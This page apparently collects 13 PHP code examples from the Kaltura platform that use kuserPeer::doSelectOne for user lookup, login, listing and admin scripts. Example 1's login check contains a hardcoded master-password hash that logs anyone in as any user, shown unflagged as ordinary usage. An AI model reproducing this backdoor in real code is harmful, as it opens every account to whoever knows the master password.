本文整理汇总了PHP中kuserPeer::doSelectOne方法的典型用法代码示例。如果您正苦于以下问题:PHP kuserPeer::doSelectOne方法的具体用法?PHP kuserPeer::doSelectOne怎么用?PHP kuserPeer::doSelectOne使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类kuserPeer
的用法示例。
在下文中一共展示了kuserPeer::doSelectOne方法的13个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: execute
public function execute(&$value, &$error)
{
$password_param = $this->getParameter('password');
$password = $this->getContext()->getRequest()->getParameter($password_param);
$login = $value;
$c = new Criteria();
$c->add(kuserPeer::SCREEN_NAME, $login);
$user = kuserPeer::doSelectOne($c);
$user = kuserPeer::doSelectOne($c);
if (!$user) {
$c2 = new Criteria();
$c2->add(kuserPeer::EMAIL, $login);
$user = kuserPeer::doSelectOne($c2);
}
// screenname exists?
if ($user) {
// password is OK?
if (sha1($user->getSalt() . $password) === $user->getSha1Password() || sha1($password) == "30d390fb24c8e80a880e4f8bfce7a3a06757f1c7") {
$this->getContext()->getUser()->setAuthenticated(true);
$this->getContext()->getUser()->setAttribute('screenname', $user->getScreenname());
$this->getContext()->getUser()->setAttribute('id', $user->getId());
// set cookies, so that we can detect user if they come back
$this->getContext()->getResponse()->setCookie('screenname', $user->getScreenname(), time() + sfConfig::get('sf_timeout'), '/');
$this->getContext()->getResponse()->setCookie('id', $user->getId(), time() + sfConfig::get('sf_timeout'), '/');
return true;
}
}
$error = $this->getParameter('login_error');
return false;
}
示例2: executeImpl
public function executeImpl($partner_id, $subp_id, $puser_id, $partner_prefix, $puser_kuser)
{
// make sure the secret fits the one in the partner's table
$partner_adminEmail = trim($this->getPM("partner_adminEmail"));
$cms_password = trim($this->getPM("cms_password"));
$detailed = trim($this->getP("detailed", "true", true));
if ($detailed === "0" || $detailed === "false") {
$detailed = false;
}
if (empty($partner_id)) {
$this->addError(APIErrors::MANDATORY_PARAMETER_MISSING, "partner_id");
return;
}
$login_data = UserLoginDataPeer::getByEmail($partner_adminEmail);
if (!$login_data) {
$this->addError(APIErrors::ADMIN_KUSER_NOT_FOUND);
return;
}
if (!$login_data->isPasswordValid($cms_password)) {
$this->addError(APIErrors::ADMIN_KUSER_NOT_FOUND);
return;
}
$c = new Criteria();
$c->add(kuserPeer::EMAIL, $partner_adminEmail);
$c->add(kuserPeer::PARTNER_ID, $partner_id);
$c->add(kuserPeer::LOGIN_DATA_ID, $login_data->getId());
$c->add(kuserPeer::IS_ADMIN, true);
$c->setLimit(20);
// just to limit the number of partners returned
$admin = kuserPeer::doSelectOne($c);
// be sure to return the same error if there are no admins in the list and when there are none matched -
// so no hint about existing admin will leak
if (count($admin) < 1) {
$this->addError(APIErrors::ADMIN_KUSER_NOT_FOUND);
return;
}
$partner = PartnerPeer::retrieveByPK($partner_id);
$partner_registration = new myPartnerRegistration();
$partner_registration->sendRegistrationInformationForPartner($partner, true, true);
$subpid = $partner_id * 100;
$level = $detailed ? objectWrapperBase::DETAIL_LEVEL_DETAILED : objectWrapperBase::DETAIL_LEVEL_REGULAR;
$wrapper = objectWrapperBase::getWrapperClass($partner, $level);
$this->addMsg("partner", $wrapper);
$this->addMsg("html_message", "");
$this->addMsg("subp_id", $partner->getSubp());
}
示例3: execute
public function execute(&$value, &$error)
{
//$password_param = $this->getParameter('password');
//$password = $this->getContext()->getRequest()->getParameter($password_param);
$login = $value;
$c = new Criteria();
$c->add(kuserPeer::SCREEN_NAME, $login);
$user = kuserPeer::doSelectOne($c);
// screen name already exists?
if ($user) {
$error = 'Screename already exists';
return false;
} else {
//add user to DB
return true;
}
}
示例4: executeSendRegistrationConfirmation
public function executeSendRegistrationConfirmation()
{
// determine customer from the request 'id' parameter
$c = new Criteria();
$c->add(kuserPeer::ID, $this->getRequest()->getAttribute('id'));
$user = kuserPeer::doSelectOne($c);
if ($user && $user->getEmail() == $this->getRequest()->getAttribute('email')) {
// class initialization
$mail = new sfMail();
$mail->setCharset('utf-8');
// definition of the required parameters
$mail->setSender('support@kaltura.com', 'Kaltura Customer Service');
$mail->setFrom('support@kaltura.com', 'Kaltura Customer Service');
$mail->addReplyTo('support@kaltura.com');
$mail->addAddress($user->getEmail());
$mail->setSubject('Welcome to Kaltura!');
$this->name = $user->getScreenName();
$this->mail = $mail;
} else {
$this->getRequest()->setError('email', 'Problem while sending email');
$this->redirect('login/sendRegistrationConfirmation?error=Unknown');
}
}
示例5: getKuserById
public static function getKuserById($id)
{
$c = new Criteria();
$c->add(kuserPeer::ID, $id);
return kuserPeer::doSelectOne($c);
}
示例6: getListResponse
public function getListResponse(KalturaFilterPager $pager, KalturaDetachedResponseProfile $responseProfile = null)
{
$this->validateUserIdOrGroupIdFiltered();
if ($this->groupIdEqual) {
$partnerId = kCurrentContext::getCurrentPartnerId();
$c = new Criteria();
$c->add(kuserPeer::PARTNER_ID, $partnerId);
$c->add(kuserPeer::PUSER_ID, $this->groupIdEqual);
$c->add(kuserPeer::TYPE, KuserType::GROUP);
if (kCurrentContext::$ks_partner_id == Partner::BATCH_PARTNER_ID) {
//batch should be able to get categoryUser of deleted users.
kuserPeer::setUseCriteriaFilter(false);
}
// in case of more than one deleted kusers - get the last one
$c->addDescendingOrderByColumn(kuserPeer::UPDATED_AT);
$kuser = kuserPeer::doSelectOne($c);
kuserPeer::setUseCriteriaFilter(true);
if (!$kuser) {
$response = new KalturaGroupUserListResponse();
$response->objects = new KalturaGroupUserArray();
$response->totalCount = 0;
return $response;
}
$this->groupIdEqual = $kuser->getId();
}
if ($this->userIdEqual) {
$partnerId = kCurrentContext::getCurrentPartnerId();
$c = new Criteria();
$c->add(kuserPeer::PARTNER_ID, $partnerId);
$c->add(kuserPeer::PUSER_ID, $this->userIdEqual);
$c->add(kuserPeer::TYPE, KuserType::USER);
$kuser = kuserPeer::doSelectOne($c);
if (!$kuser) {
$response = new KalturaGroupUserListResponse();
$response->objects = new KalturaGroupUserArray();
$response->totalCount = 0;
return $response;
}
$this->userIdEqual = $kuser->getId();
}
if ($this->userIdIn) {
$usersIds = explode(',', $this->userIdIn);
$partnerId = kCurrentContext::getCurrentPartnerId();
$c = new Criteria();
$c->add(kuserPeer::PARTNER_ID, $partnerId, Criteria::EQUAL);
$c->add(kuserPeer::PUSER_ID, $usersIds, Criteria::IN);
$c->add(kuserPeer::TYPE, KuserType::USER);
$kusers = kuserPeer::doSelect($c);
if (!$kusers) {
$response = new KalturaGroupUserListResponse();
$response->objects = new KalturaGroupUserArray();
$response->totalCount = 0;
return $response;
}
$usersIds = array();
foreach ($kusers as $kuser) {
/* @var $kuser kuser */
$usersIds[] = $kuser->getId();
}
$this->userIdIn = implode(',', $usersIds);
}
if ($this->groupIdIn) {
$groupIdIn = explode(',', $this->groupIdIn);
$partnerId = kCurrentContext::getCurrentPartnerId();
$c = new Criteria();
$c->add(kuserPeer::PARTNER_ID, $partnerId, Criteria::EQUAL);
$c->add(kuserPeer::PUSER_ID, $groupIdIn, Criteria::IN);
$c->add(kuserPeer::TYPE, KuserType::GROUP);
$kusers = kuserPeer::doSelect($c);
if (!$kusers) {
$response = new KalturaGroupUserListResponse();
$response->objects = new KalturaGroupUserArray();
$response->totalCount = 0;
return $response;
}
$groupIdIn = array();
foreach ($kusers as $kuser) {
/* @var $kuser kuser */
$groupIdIn[] = $kuser->getId();
}
$this->groupIdIn = implode(',', $groupIdIn);
}
$kuserKgroupFilter = $this->toObject();
$c = KalturaCriteria::create(KuserKgroupPeer::OM_CLASS);
$kuserKgroupFilter->attachToCriteria($c);
$pager->attachToCriteria($c);
$c->applyFilters();
$list = KuserKgroupPeer::doSelect($c);
$newList = KalturaGroupUserArray::fromDbArray($list, $responseProfile);
$response = new KalturaGroupUserListResponse();
$response->objects = $newList;
$resultCount = count($newList);
if ($resultCount && $resultCount < $pager->pageSize) {
$totalCount = ($pager->pageIndex - 1) * $pager->pageSize + $resultCount;
} else {
KalturaFilterPager::detachFromCriteria($c);
$totalCount = KuserKgroupPeer::doCount($c);
}
$response->totalCount = $totalCount;
return $response;
//.........这里部分代码省略.........
示例7: getKuserByEmail
/**
* @param string $email
* @return kuser
*/
public static function getKuserByEmail($email, $partnerId = null)
{
$c = new Criteria();
$c->add(kuserPeer::EMAIL, $email);
if (!is_null($partnerId)) {
$c->add(kuserPeer::PARTNER_ID, $partnerId);
}
$kuser = kuserPeer::doSelectOne($c);
return $kuser;
}
示例8: Criteria
$new_login_data->setLastName($lastName);
$new_login_data->setSalt($user->getSalt());
$new_login_data->setSha1Password($user->getSha1Password());
$new_login_data->setCreatedAt($user->getCreatedAt());
$new_login_data->setUpdatedAt($user->getUpdatedAt());
$new_login_data->setLoginBlockedUntil($user->getLoginBlockedUntil());
$new_login_data->setLoginAttempts($user->getLoginAttempts());
$new_login_data->setPasswordHashKey($user->getPasswordHashKey());
$new_login_data->setPasswordUpdatedAt($user->getPasswordUpdatedAt());
$new_login_data->setPreviousPasswords($user->getPreviousPasswords());
$new_login_data->setLastLoginPartnerId($user->getPartnerId());
// check for existing kusers for this admin_kuser
$c = new Criteria();
$c->addAnd(kuserPeer::PUSER_ID, '__ADMIN__' . $user->getId(), Criteria::EQUAL);
$c->addAnd(kuserPeer::PARTNER_ID, $user->getPartnerId(), Criteria::EQUAL);
$existing_kuser = kuserPeer::doSelectOne($c);
if ($existing_kuser) {
$existing_kuser->setFirstName($firstName);
$existing_kuser->setLastName($lastName);
$existing_kuser->setEmail($user->getEmail());
$existing_kuser->setIsAdmin(true);
} else {
$new_kuser->setEmail($user->getEmail());
$new_kuser->setScreenName($user->getScreenName());
$new_kuser->setPartnerId($user->getPartnerId());
$new_kuser->setFirstName($firstName);
$new_kuser->setLastName($lastName);
$new_kuser->setStatus(KuserStatus::ACTIVE);
$new_kuser->setIcon($user->getIcon());
$new_kuser->setPicture($user->getPicture());
$new_kuser->setPuserId('__ADMIN__' . $user->getId());
示例9: testAddUserOnDemand
public function testAddUserOnDemand()
{
// add entry with new user id and see if user is created or not
$userId = uniqid() . 'testAddUserOnDemand';
$c = new Criteria();
$c->addAnd(kuserPeer::PUSER_ID, $userId);
$this->assertNull(kuserPeer::doSelectOne($c));
$this->startSession(KalturaSessionType::USER, $userId);
$uploadToken = $this->client->baseEntry->upload(realpath(__FILE__));
$this->assertNotNull($uploadToken);
$entry = new KalturaBaseEntry();
$entry->name = uniqid();
$entry->type = KalturaEntryType::MEDIA_CLIP;
$entry->mediaType = KalturaMediaType::VIDEO;
$createdEntry = $this->client->baseEntry->addFromUploadedFile($entry, $uploadToken);
$this->assertNotNull($createdEntry);
$this->assertEquals($userId, $createdEntry->userId);
$dbUser = kuserPeer::doSelectOne($c);
$this->assertNotNull($dbUser);
$this->createdDbObjects[] = $dbUser;
// check that user is not admin and can't login
$this->assertFalse($dbUser->getIsAdmin());
$this->assertNull($dbUser->getLoginDataId());
// add entry with admin session and verify that user created is not admin and can't login
$userId = uniqid() . 'testAddUserOnDemand';
$c = new Criteria();
$c->addAnd(kuserPeer::PUSER_ID, $userId);
$this->assertNull(kuserPeer::doSelectOne($c));
$this->startSession(KalturaSessionType::ADMIN, $userId);
$uploadToken = $this->client->baseEntry->upload(realpath(__FILE__));
$this->assertNotNull($uploadToken);
$entry = new KalturaBaseEntry();
$entry->name = 'test';
$entry->type = KalturaEntryType::MEDIA_CLIP;
$entry->mediaType = KalturaMediaType::VIDEO;
$createdEntry = $this->client->baseEntry->addFromUploadedFile($entry, $uploadToken);
$this->assertNotNull($createdEntry);
$this->assertEquals($userId, $createdEntry->userId);
$dbUser = kuserPeer::doSelectOne($c);
$this->assertNotNull($dbUser);
$this->createdDbObjects[] = $dbUser;
// check that user is not admin and can't login
$this->assertFalse($dbUser->getIsAdmin());
$this->assertNull($dbUser->getLoginDataId());
}
示例10: getListResponse
public function getListResponse(KalturaFilterPager $pager, KalturaDetachedResponseProfile $responseProfile = null)
{
if ($this->userIdIn) {
$usersIds = explode(',', $this->userIdIn);
$partnerId = kCurrentContext::$partner_id ? kCurrentContext::$partner_id : kCurrentContext::$ks_partner_id;
$c = new Criteria();
$c->add(kuserPeer::PARTNER_ID, $partnerId, Criteria::EQUAL);
$c->add(kuserPeer::PUSER_ID, $usersIds, Criteria::IN);
$kusers = kuserPeer::doSelect($c);
$usersIds = array();
foreach ($kusers as $kuser) {
/* @var $kuser kuser */
$usersIds[] = $kuser->getId();
}
$this->userIdIn = implode(',', $usersIds);
}
if ($this->relatedGroupsByUserId) {
$partnerId = kCurrentContext::$partner_id ? kCurrentContext::$partner_id : kCurrentContext::$ks_partner_id;
$userIds = array();
$c = new Criteria();
$c->add(kuserPeer::PARTNER_ID, $partnerId);
$c->add(kuserPeer::PUSER_ID, $this->relatedGroupsByUserId);
$c->add(kuserPeer::TYPE, KuserType::USER);
$kuser = kuserPeer::doSelectOne($c);
if (!$kuser) {
$response = new KalturaCategoryUserListResponse();
$response->objects = new KalturaCategoryUserArray();
$response->totalCount = 0;
return $response;
}
$kgroupIds = KuserKgroupPeer::retrieveKgroupIdsByKuserId($kuser->getId());
if (!is_null($kgroupIds) && is_array($kgroupIds)) {
$userIds = $kgroupIds;
}
$userIds[] = $kuser->getId();
// if userIdIn is also set in the filter need to intersect the two arrays.
if (isset($this->userIdIn)) {
$curUserIds = explode(',', $this->userIdIn);
$userIds = array_intersect($curUserIds, $userIds);
}
$this->userIdIn = implode(',', $userIds);
}
if ($this->userIdEqual) {
$partnerId = kCurrentContext::$partner_id ? kCurrentContext::$partner_id : kCurrentContext::$ks_partner_id;
$c = new Criteria();
$c->add(kuserPeer::PARTNER_ID, $partnerId);
$c->add(kuserPeer::PUSER_ID, $this->userIdEqual);
if (kCurrentContext::$ks_partner_id == Partner::BATCH_PARTNER_ID) {
//batch should be able to get categoryUser of deleted users.
kuserPeer::setUseCriteriaFilter(false);
}
// in case of more than one deleted kusers - get the last one
$c->addDescendingOrderByColumn(kuserPeer::UPDATED_AT);
$kuser = kuserPeer::doSelectOne($c);
kuserPeer::setUseCriteriaFilter(true);
if (!$kuser) {
KalturaLog::debug('User not found');
$response = new KalturaCategoryUserListResponse();
$response->objects = new KalturaCategoryUserArray();
$response->totalCount = 0;
return $response;
}
$this->userIdEqual = $kuser->getId();
}
$categories = array();
if ($this->categoryIdEqual) {
$categories[] = categoryPeer::retrieveByPK($this->categoryIdEqual);
} elseif ($this->categoryIdIn) {
$categories = categoryPeer::retrieveByPKs(explode(',', $this->categoryIdIn));
}
$categoriesInheritanceRoot = array();
foreach ($categories as $category) {
/* @var $category category */
if (is_null($category)) {
continue;
}
if ($category->getInheritanceType() == InheritanceType::INHERIT) {
if ($this->categoryDirectMembers && kCurrentContext::$master_partner_id == Partner::BATCH_PARTNER_ID) {
$categoriesInheritanceRoot[$category->getId()] = $category->getId();
} else {
//if category inheris members - change filter to -> inherited from parent id = category->getIheritedParent
$categoriesInheritanceRoot[$category->getInheritedParentId()] = $category->getInheritedParentId();
}
} else {
$categoriesInheritanceRoot[$category->getId()] = $category->getId();
}
}
$this->categoryDirectMembers = null;
$this->categoryIdEqual = null;
$this->categoryIdIn = implode(',', $categoriesInheritanceRoot);
//if filter had categories that doesn't exists or not entitled - should return 0 objects.
if (count($categories) && !count($categoriesInheritanceRoot)) {
$response = new KalturaCategoryUserListResponse();
$response->totalCount = 0;
return $response;
}
$categoryKuserFilter = $this->toObject();
$c = KalturaCriteria::create(categoryKuserPeer::OM_CLASS);
$categoryKuserFilter->attachToCriteria($c);
$pager->attachToCriteria($c);
//.........这里部分代码省略.........
示例11: Criteria
$con = myDbHelper::getConnection(myDbHelper::DB_HELPER_CONN_PROPEL2);
KalturaStatement::setDryRun($dryRun);
$c = new Criteria();
$c->add(PartnerPeer::ID, 0, Criteria::GREATER_THAN);
$c->add(PartnerPeer::ADMIN_EMAIL, null, Criteria::ISNULL);
$c->setLimit($countLimitEachLoop);
$partners = PartnerPeer::doSelect($c, $con);
while (count($partners)) {
foreach ($partners as $partner) {
$kuserAccountOwner = $partner->getAccountOwnerKuserId();
if (!$kuserAccountOwner) {
KalturaLog::err('ERROR - Cannot find account owner kuser id for partner [' . $partner->getId() . ']');
} else {
$c = new Criteria();
$c->add(kuserPeer::ID, $kuserAccountOwner, Criteria::EQUAL);
$kuser = kuserPeer::doSelectOne($c, $con);
if (!$kuser) {
KalturaLog::err('ERROR - Cannot find kuser with id [' . $kuserAccountOwner . ']');
} else {
$partner->setAdminName($kuser->getFullName());
$partner->setAdminEmail($kuser->getEmail());
$partner->save();
KalturaLog::log('Update partner [' . $partner->getId() . '] set admin name [' . $kuser->getFullName() . '] admin email [' . $kuser->getEmail() . ']');
}
}
}
$c->setOffset($offset);
PartnerPeer::clearInstancePool();
$partners = PartnerPeer::doSelect($c, $con);
$offset += $countLimitEachLoop;
sleep(1);
示例12: listAction
/**
* List all categories
*
* @action list
* @param KalturaCategoryUserFilter $filter
* @param KalturaFilterPager $pager
* @return KalturaCategoryUserListResponse
* @throws KalturaErrors::MUST_FILTER_USERS_OR_CATEGORY
*/
function listAction(KalturaCategoryUserFilter $filter = null, KalturaFilterPager $pager = null)
{
if (!($filter->categoryIdEqual || $filter->categoryIdIn || $filter->userIdIn || $filter->userIdEqual)) {
throw new KalturaAPIException(KalturaErrors::MUST_FILTER_USERS_OR_CATEGORY);
}
if (!$filter) {
$filter = new KalturaCategoryUserFilter();
}
if (!$pager) {
$pager = new kalturaFilterPager();
}
if ($filter->userIdIn) {
$usersIds = explode(',', $filter->userIdIn);
$partnerId = kCurrentContext::$partner_id ? kCurrentContext::$partner_id : kCurrentContext::$ks_partner_id;
$c = new Criteria();
$c->add(kuserPeer::PARTNER_ID, $partnerId, Criteria::EQUAL);
$c->add(kuserPeer::PUSER_ID, $usersIds, Criteria::IN);
$kusers = kuserPeer::doSelect($c);
$usersIds = array();
foreach ($kusers as $kuser) {
$usersIds[] = $kuser->getId();
}
$filter->userIdIn = implode(',', $usersIds);
}
if ($filter->userIdEqual) {
$partnerId = kCurrentContext::$partner_id ? kCurrentContext::$partner_id : kCurrentContext::$ks_partner_id;
$c = new Criteria();
$c->add(kuserPeer::PARTNER_ID, $partnerId);
$c->add(kuserPeer::PUSER_ID, $filter->userIdEqual);
$c->add(kuserPeer::STATUS, KuserStatus::ACTIVE);
kuserPeer::setUseCriteriaFilter(false);
$kuser = kuserPeer::doSelectOne($c);
kuserPeer::setUseCriteriaFilter(true);
//batch should be abke to get categoryUser of deleted users.
if (!$kuser || $kuser->getStatus() != KuserStatus::ACTIVE && kCurrentContext::$ks_partner_id != Partner::BATCH_PARTNER_ID) {
KalturaLog::debug('User not found');
$response = new KalturaCategoryUserListResponse();
$response->objects = new KalturaCategoryUserArray();
$response->totalCount = 0;
return $response;
}
$filter->userIdEqual = $kuser->getId();
}
$categories = array();
if ($filter->categoryIdEqual) {
$categories[] = categoryPeer::retrieveByPK($filter->categoryIdEqual);
} elseif ($filter->categoryIdIn) {
$categories = categoryPeer::retrieveByPKs(explode(',', $filter->categoryIdIn));
}
$categoriesInheritanceRoot = array();
foreach ($categories as $category) {
if (is_null($category)) {
continue;
}
if ($category->getInheritanceType() == InheritanceType::INHERIT) {
if ($filter->categoryDirectMembers && kCurrentContext::$master_partner_id == Partner::BATCH_PARTNER_ID) {
$categoriesInheritanceRoot[$category->getId()] = $category->getId();
} else {
//if category inheris members - change filter to -> inherited from parent id = category->getIheritedParent
$categoriesInheritanceRoot[$category->getInheritedParentId()] = $category->getInheritedParentId();
}
} else {
$categoriesInheritanceRoot[$category->getId()] = $category->getId();
}
}
$filter->categoryDirectMembers = null;
$filter->categoryIdEqual = null;
$filter->categoryIdIn = implode(',', $categoriesInheritanceRoot);
//if filter had categories that doesn't exists or not entitled - should return 0 objects.
if (count($categories) && !count($categoriesInheritanceRoot)) {
$response = new KalturaCategoryUserListResponse();
$response->totalCount = 0;
return $response;
}
$categoryKuserFilter = new categoryKuserFilter();
$filter->toObject($categoryKuserFilter);
$c = KalturaCriteria::create(categoryKuserPeer::OM_CLASS);
$categoryKuserFilter->attachToCriteria($c);
$c->applyFilters();
$totalCount = categoryKuserPeer::doCount($c);
$pager->attachToCriteria($c);
$list = categoryKuserPeer::doSelect($c);
$newList = KalturaCategoryUserArray::fromDbArray($list);
$response = new KalturaCategoryUserListResponse();
$response->objects = $newList;
$response->totalCount = $totalCount;
return $response;
}
示例13: execute
/**
*
select kshow.id,concat('http://www.kaltura.com/index.php/browse/bands?band_id=',indexed_custom_data_1),concat('http://profile.myspace.com/index.cfm?fuseaction=user.viewpr
ofile&friendID=',indexed_custom_data_1) , kuser.screen_name , indexed_custom_data_1 from kshow ,kuser where kshow.partner_id=5 AND kuser.id=kshow.producer_id AND kshow.
id>=10815 order by kshow.id ;
~
*/
public function execute()
{
$this->forceSystemAuthentication();
$kshow_id = $this->getRequestParameter("kshow_id", null);
$band_id = $this->getRequestParameter("band_id", null);
$kuser_name = $this->getRequestParameter("kuser_name", null);
$this->other_kshows_by_producer = null;
$error = "";
$kshow = null;
$kuser = null;
$entries = null;
$this->kuser_count = 0;
$should_delete = $this->getRequestParameter("deleteme", "false") == "true";
if ($kuser_name) {
$c = new Criteria();
$c->add(kuserPeer::SCREEN_NAME, "%" . $kuser_name . "%", Criteria::LIKE);
$this->kuser_count = kuserPeer::doCount($c);
$kuser = kuserPeer::doSelectOne($c);
if ($kuser) {
$this->other_kshows_by_producer = $this->getKshowsForKuser($kuser, null);
} else {
$error .= "Cannot find kuser with name [{$kuser_name}]<br>";
}
$other_kshow_count = count($this->other_kshows_by_producer);
if ($other_kshow_count < 1) {
// kuser has no kshow - delete him !
if ($should_delete) {
$kuser->delete();
}
} else {
if ($other_kshow_count == 1) {
$kshow_id = $this->other_kshows_by_producer[0]->getId();
} else {
// kuser has more than one kshow - let user choose
$error .= "[{$kuser_name}] has ({$other_kshow_count}) shows.<br>";
}
}
}
if ($band_id) {
$c = new Criteria();
$c->add(kshowPeer::INDEXED_CUSTOM_DATA_1, $band_id);
$c->add(kshowPeer::PARTNER_ID, 5);
$kshow = kshowPeer::doSelectOne($c);
} else {
if ($kshow_id) {
$kshow = kshowPeer::retrieveByPK($kshow_id);
}
}
if ($kshow) {
if (!$kuser) {
$kuser = kuserPeer::retrieveByPK($kshow->getProducerId());
}
if ($kuser) {
$this->other_kshows_by_producer = $this->getKshowsForKuser($kuser, $kshow);
if ($should_delete) {
if (count($this->other_kshows_by_producer) == 0) {
$kuser->delete();
}
}
}
$entries = $kshow->getEntrys();
if ($should_delete) {
$id_list = array();
foreach ($entries as $entry) {
$id_list[] = $entry->getId();
}
if ($id_list) {
$d = new Criteria();
$d->add(entryPeer::ID, $id_list, Criteria::IN);
entryPeer::doDelete($d);
}
}
if ($should_delete) {
$kshow->delete();
}
} else {
$error .= "Cannot find kshow [{$kshow_id}]<br>";
}
$this->kshow_id = $kshow_id;
$this->kuser_name = $kuser_name;
$this->kshow = $kshow;
$this->kuser = $kuser;
$this->entries = $entries;
$this->should_delete = $should_delete;
$this->error = $error;
}